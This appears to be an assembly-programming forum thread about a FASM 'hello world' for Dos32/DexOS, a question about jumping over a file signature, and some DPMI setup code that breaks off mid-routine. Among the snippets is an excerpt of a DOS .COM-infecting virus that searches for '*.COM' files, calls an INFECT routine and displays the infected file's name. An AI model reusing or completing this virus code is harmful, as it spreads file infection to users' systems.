;=========================================================;
; hello world example                          07/02/2011 ;
;---------------------------------------------------------;
; By Dex.                                                 ;
;                                                         ;
; Here is a simple "hello world" program.                 ;
; for Dos32, using the calltable functions.               ;
; To assemble in Dos32, use fasm as follows               ;
; fasm.dex hello.asm hello.dex                            ;
;=========================================================;
use32
        ORG   0x400000          ; where our program is loaded to
        jmp   start             ; jump to the start of program.
        db    'DEX3'            ; We check for this, to make sure it's a valid Dos32 file.

msg1:   db 'Hello world! ',13,10,'$'
msg2:   db 'Press anykey to return to command.com ',13,10,'$'

 ;----------------------------------------------------;
 ; Start of program.                                  ;
 ;----------------------------------------------------;

start:
        mov   ax,18h            ; set ax to nonlinear base
        mov   ds,ax             ; add them to ds
        mov   es,ax             ; and es.
 ;----------------------------------------------------;
 ; Get int21h address.                                ;
 ;----------------------------------------------------;
        mov   eax,21h           ; mov 21h into eax
        int   21h               ; do a int 21h
        jc    Int21hError       ; if no error
        mov   dword[Int21h],eax ; save the address of int 21h functions

 ;----------------------------------------------------;
 ; Now you can use the 32 bit regs and call int 21h.  ;
 ; function just like in 16bit dos, but from a 32bit  ;
 ; pm enviroment eg: up to 4 GB.                      ;
 ; Also not you can call int 10h and a full range of  ;
 ; DexOS functions                                    ;
 ;----------------------------------------------------;

 ;----------------------------------------------------;
 ; Try print string.                                  ;
 ;----------------------------------------------------;
        ; print string 1       
        mov   edx,msg1          ; this point's to our string.
        mov   ah,09h            ; function number
        call  dword[Int21h]     ; this call dos function.

        ; print string 2
        mov   edx,msg2          ; this point's to our string.
        mov   ah,09h            ; function number
        call  dword[Int21h]     ; this call dos function.

        ; Dos's wait for keypress function.
        mov   ah,07h            ; function number
        call  dword[Int21h]     ; this call the wait for keypress function
        
Int21hError:
        ret                     ; This returns to the CLI/GUI

 ;----------------------------------------------------;
 ; Data.                                              ;
 ;----------------------------------------------------;

Int21h   dd 0
                                                                      
    

Code:

;...
        jmp   start             ; jump to the start of program.
        db    'DEX3'            ; We check for this, to make sure it's a valid
;...
start:
;...    

@revolution: Doesn't Fasm automatically assume a short jump as long as it is in rang?

 jmp start ;is this short or long?
 db 'DEX3'
 db <lots of data here>
 <lots of code here>
start: ;Did we need a long jmp to get here?    

 db 'DEX3' ;signature
start:
 ;code goes here    

org 400000h ;to differenciate from org 100h's .com
use32   ;32 bits instrucitons
...    ;type your text here
    

Note: if you want to test it on real PC let me know as the image is differant.

org 400000h
use32
...
    

ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
ORG 100H 

;This host is a shell of a program which will release the virus into the 
;system. All it does is jump to the virus routine, which does its job and 
;returns to it, at which point it terminates to DOS. 

HOST: 
  jmp NEAR PTR VIRUS_START ;MASM cannot assemble this jmp correctly 
  db 'VI'
  mov ah,4CH 
  mov al,0 
  int 21H ;terminate normally with DOS 
VIRUS: ;a label for the first byte of the virus 
  COMFILE DB '*.COM',0 ;search string for a com file 

VIRUS_START: 
  call GET_START ;get start address 
;This is a trick to determine the location of the start of the program. We put 
;the address of GET_START on the stack with the call, which is overlayed by 
;VIR_START. Subtract offsets to get @VIRUS 
GET_START: 
  sub WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS 
  mov dx,OFFSET DTA ;put DTA at the end of the virus for now 
  mov ah,1AH ;set new DTA function 
  int 21H 
  call FIND_FILE ;get a com file to attack 
  jnz EXIT_VIRUS ;returned nz - no file to infect, exit 
  call INFECT ;have a good COM file to use - infect it 
  mov dx,OFFSET FNAME ;display the name of the file just infected 
  mov WORD PTR [HANDLE],24H ;make sure string terminates w/ '$'
  mov ah,9 
  int 21H ;display it 
EXIT_VIRUS:  
    

SOMEMEMORY = $100000            ; 1 MB , more than high enough (code < 1KB, segment 4 MB)
BUF32     = SOMEMEMORY          ; $32 = #50 bytes
DOSMEMSEL = SOMEMEMORY + $32    ; 2 bytes
DOSMEMSEG = SOMEMEMORY + $34    ; 2 bytes
DOSMEMLIN = SOMEMEMORY + $36    ; 4 bytes
VESABUF   = SOMEMEMORY + $3A    ; $200 bytes
VESAOK    = SOMEMEMORY + $023A  ; 1 byte
PBUF      = SOMEMEMORY + $023B  ; $50 = #80 bytes
VESABUFPO = SOMEMEMORY + $028B  ; 2 bytes

    use32
    org 0

; *** Print text using DOS API Translation ***

    mov    ax,$0900
    mov    edx,t8
    int    21h
    jmp @f

t8 db 'Hello (API Trans) !!!',0Dh,0Ah,24h

@@:

; *** Create ZERO-based segment ***

    mov cx,1
    xor ax,ax
    int 31h           ; allocate descriptor for data
    mov di,ax
    mov dx,ds
    lar cx,dx
    shr cx,8
    or  cx,0C000h
    mov bx,di
    int 31h           ; set data descriptor access rights
    mov ecx,0   ;ZERO
    mov edx,0
    mov ax,7          ; set descriptor base address CX:DX // CX high
    int 31h
    mov bx,di   ;HACK ???
    int 31h
    mov cx,0FFFFh
    mov dx,0FFFFh